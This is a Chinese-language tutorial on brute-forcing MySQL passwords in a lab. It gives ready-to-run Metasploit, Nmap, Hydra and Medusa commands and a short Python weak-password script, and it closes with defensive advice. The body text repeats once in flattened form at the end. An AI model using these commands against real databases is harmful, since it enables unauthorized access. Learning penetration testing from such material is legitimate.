MySQL口令扫描渗透测试攻略
字数 1273 2025-08-29 08:31:53

MySQL口令扫描渗透测试完全指南

1. 测试环境准备

1.1 基础环境配置

  • 操作系统: Windows 2003 Server + Kali Linux 2017
  • 数据库环境: MySQL 5.0.90-community-nt
  • 账号设置:
    • 允许远程访问(host设置为%)
    • 测试密码: 11111111

2. 主流MySQL口令扫描工具详解

2.1 Metasploit框架扫描

2.1.1 基本命令

msfconsole  # 启动Metasploit

2.1.2 密码扫描模块

  1. 单一模式扫描:
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.157.130
set username root
set password 11111111
run
  1. 字典暴力破解:
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.130
set pass_file "/root/top10000pwd.txt"
set username root
run
  1. 密码验证模块:
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.130
set password 11111111
set username root
run

2.1.3 结果解读

  • - 表示未成功
  • 绿色+ 表示破解成功,显示用户名和密码

2.2 Nmap扫描

2.2.1 MySQL相关脚本

ls -al /usr/share/nmap/scripts/mysql*

包含脚本: mysql-audit.nse, mysql-brute.nse, mysql-databases.nse等

2.2.2 常用扫描命令

  1. 端口扫描:
nmap -p 3306 192.168.157.130
  1. 空口令扫描:
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.130
  1. 已知口令扫描:
nmap -sV --script=mysql-databases --script-args dbuser=root,dbpass=11111111 192.168.195.130

2.3 Hydra/xHydra工具

2.3.1 图形界面(xHydra)

  1. 设置目标地址和协议
  2. 配置用户名/密码或字典文件
  3. 设置线程数后开始破解

2.3.2 命令行模式

  1. 单一验证:
hydra -l root -p11111111 -t 16 192.168.157.130 mysql
  1. 字典破解:
hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql
  1. 多目标破解:
hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql

2.4 Hscan工具

  1. 设置扫描参数(startip/endip)
  2. 选择"MySQL弱口令检查"模块
  3. 扫描结果保存在report和log目录

2.5 Bruter工具

  • 简单直观的界面
  • 支持多种协议
  • 适合单个主机快速验证

2.6 Medusa(美杜莎)

2.6.1 基本用法

medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

2.6.2 MySQL破解示例

  1. 单一目标:
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt
  1. 多目标:
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt

2.7 Python脚本

2.7.1 简单爆破脚本

import MySQLdb

mysql_username = ('root','test', 'admin', 'user')
common_weak_password = ('','123456','test','root','admin','user')
host = "127.0.0.1"
port = 3306

for username in mysql_username:
    for password in common_weak_password:
        try:
            db = MySQLdb.connect(host, username, password)
            print "Success:", username, password
        except:
            pass

2.7.2 独自等待版MySQL暴力破解工具

mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt

3. 工具对比与总结

3.1 推荐工具

  1. 综合功能: MSF(破解后可继续渗透)
  2. 多目标破解: xHydra/Hydra/Medusa
  3. 快速验证: Bruter

3.2 常用命令汇总

工具 命令示例
MSF use auxiliary/scanner/mysql/mysql_login
Hydra hydra -l root -P pass.txt -t 16 target mysql
Medusa medusa -M mysql -h target -u root -P pass.txt
Nmap nmap -p3306 --script=mysql-brute target

3.3 注意事项

  1. 字典过长会导致扫描时间延长
  2. 破解成功后应停止扫描(-F参数)
  3. 线程数不宜设置过高
  4. 合法授权前提下进行测试

4. 防御建议

  1. 限制数据库远程访问(避免host=%)
  2. 设置强密码策略
  3. 限制访问IP
  4. 定期更换密码
  5. 监控异常登录尝试

通过本指南,您可以全面了解MySQL口令扫描的各种技术方法和工具使用,在实际渗透测试工作中根据具体情况选择合适的方法进行测试。

MySQL口令扫描渗透测试完全指南 1. 测试环境准备 1.1 基础环境配置 操作系统 : Windows 2003 Server + Kali Linux 2017 数据库环境 : MySQL 5.0.90-community-nt 账号设置 : 允许远程访问(host设置为%) 测试密码: 11111111 2. 主流MySQL口令扫描工具详解 2.1 Metasploit框架扫描 2.1.1 基本命令 2.1.2 密码扫描模块 单一模式扫描 : 字典暴力破解 : 密码验证模块 : 2.1.3 结果解读 - 表示未成功 绿色 + 表示破解成功,显示用户名和密码 2.2 Nmap扫描 2.2.1 MySQL相关脚本 包含脚本: mysql-audit.nse, mysql-brute.nse, mysql-databases.nse等 2.2.2 常用扫描命令 端口扫描 : 空口令扫描 : 已知口令扫描 : 2.3 Hydra/xHydra工具 2.3.1 图形界面(xHydra) 设置目标地址和协议 配置用户名/密码或字典文件 设置线程数后开始破解 2.3.2 命令行模式 单一验证 : 字典破解 : 多目标破解 : 2.4 Hscan工具 设置扫描参数(startip/endip) 选择"MySQL弱口令检查"模块 扫描结果保存在report和log目录 2.5 Bruter工具 简单直观的界面 支持多种协议 适合单个主机快速验证 2.6 Medusa(美杜莎) 2.6.1 基本用法 2.6.2 MySQL破解示例 单一目标 : 多目标 : 2.7 Python脚本 2.7.1 简单爆破脚本 2.7.2 独自等待版MySQL暴力破解工具 3. 工具对比与总结 3.1 推荐工具 综合功能 : MSF(破解后可继续渗透) 多目标破解 : xHydra/Hydra/Medusa 快速验证 : Bruter 3.2 常用命令汇总 | 工具 | 命令示例 | |------|----------| | MSF | use auxiliary/scanner/mysql/mysql_login | | Hydra | hydra -l root -P pass.txt -t 16 target mysql | | Medusa | medusa -M mysql -h target -u root -P pass.txt | | Nmap | nmap -p3306 --script=mysql-brute target | 3.3 注意事项 字典过长会导致扫描时间延长 破解成功后应停止扫描(-F参数) 线程数不宜设置过高 合法授权前提下进行测试 4. 防御建议 限制数据库远程访问(避免host=%) 设置强密码策略 限制访问IP 定期更换密码 监控异常登录尝试 通过本指南,您可以全面了解MySQL口令扫描的各种技术方法和工具使用,在实际渗透测试工作中根据具体情况选择合适的方法进行测试。